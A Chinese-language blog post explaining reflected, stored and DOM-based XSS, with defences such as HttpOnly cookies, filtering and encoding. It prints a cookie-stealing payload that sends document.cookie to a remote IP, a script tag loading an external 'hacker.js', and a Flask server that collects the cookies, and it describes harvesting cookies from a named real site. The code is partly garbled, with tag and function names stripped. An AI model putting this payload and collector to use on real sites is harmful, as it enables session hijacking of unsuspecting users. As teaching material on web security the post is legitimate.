XSS常见攻击与防御

桂林seo半杯酒博客

XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。

XSS攻击案例:

新浪微博遭受XX攻击:

http://soft.yesky.com/security/156/30179156.shtml

人人网遭受XSS攻击:

http://www.freebuf.com/articles/6295.html

简单的测试方法:

所有提交数据的地方都有可能存在XSS,可以用最简单脚本进行测试:

<>alert(“1”)</>XSS攻击类型

反射型:

黑客构造一个包含XSS代码的URL(服务器中没有这样的页面和内容),诱导或等待用户去点击链接,才能触发XSS代码,达到劫持访问、获取cookies的目的。一般容易出现在搜索页面。 例如:https://m.wuage.com/search/self-shop?memberId=4lv8ll4g&keywords=x%22alert(1)%22&psa=M3.s10.0.j4 (此漏洞已经修复,请勿再测,造成访问压力。)

持久型:

如果黑客可以将脚本代码通过发布内容(如发论坛、博文、写留言等)的方式发布后,存储在服务端的数据库或者文件中,成为某个url正常的页面的一部分,所有访问这个页面的所有用户都是受害者,看似正常的url,则其页面已经包含了xss代码,持久型XSS更具有隐蔽性,带来的危害也更大

例如:在页面中不容注意的地方加一段js脚本(如下),当页面被打开时,页面会加载这段脚本,加系统登录的cookies发送到远端hacker的手中。

<type="text/java"src="https://xss.xxx.com/hacker.js"></>

DOM型:

DOM就是一个树状的模型,你可以编写Java代码根据DOM一层一层的节点,去遍历/获取/修改对应的节点,对象,值。dom xss并不复杂,他也属于反射型xss的一种(,domxss取决于输出位置,并不取决于输出环境,因此domxss既有可能是反射型的,也有可能是存储型的),简单去理解就是因为他输出点在DOM,所以在道哥的《白帽子讲Web安全里》也有详细介绍。xss代码可能是简短的插入节点的语句,载入来自第三方域的含有具体恶意代码的脚本。具体的恶意代码,常见的行为是读取cookie,构造例如一个img标签,将其src属性指向恶意第三方网站,将cookie的内容作为参数附在src的url上,这样黑客就能在其网站上获得你的cookie信息,这就是所谓的cookie劫持。

js获取浏览器的cookies, 通过网络将cookies发送给远端的接https://xss.xxx.com/hacker.js,收程序。

varimg = document.( 'img'); img.width = 0; img.height = 0; img.src = 'http://10.100.100.14:5000/?hacker='+encodeURIComponent( document.cookie);

接收端,利用python flask写个非常简单的项目

fromflask importFlask, request app = Flask(__name__) @app.route('/')defget_cookies():text = request.args.get( 'hacker') withopen(file_path, mode= 'a', encoding= 'utf-8') asf: f.writelines(text + "n") if__name__ == '__main__': app.run(host= '0.0.0.0', port= 5000, debug=app.debug, threaded= True)

示例:(此漏洞已经修复,请勿再测,造成访问压力。)

在www.wuage.com?fromtf=budao注册过后返回个人中心,在公司名称完成XSS注入

在搜索页面https://s.wuage.com/product/search?fromtf=budao ,选择一个公司点击讯问价格-勾选上同时发布到求购大厅,此时就会收到源源不断的cookies信息。

获取cookies

修改cookies,登录网站:

进入用户的会员中心,查看企业信息

XSS攻击防御

设置HttpOnly以避免cookie劫持的危险。

过滤,对诸如

<>、<img>、<a>

等标签进行过滤。

编码,像一些常见的符号,如<>在输入的时候要对其进行转换编码,这样做浏览器是不会对该标签进行解释执行的,同时也不影响显示效果。

限制,通过以上的案例我们不难发现xss攻击要能达成往往需要较长的字符串,因此对于一些可以预期的输入可以通过限制长度强制截断来进行防御。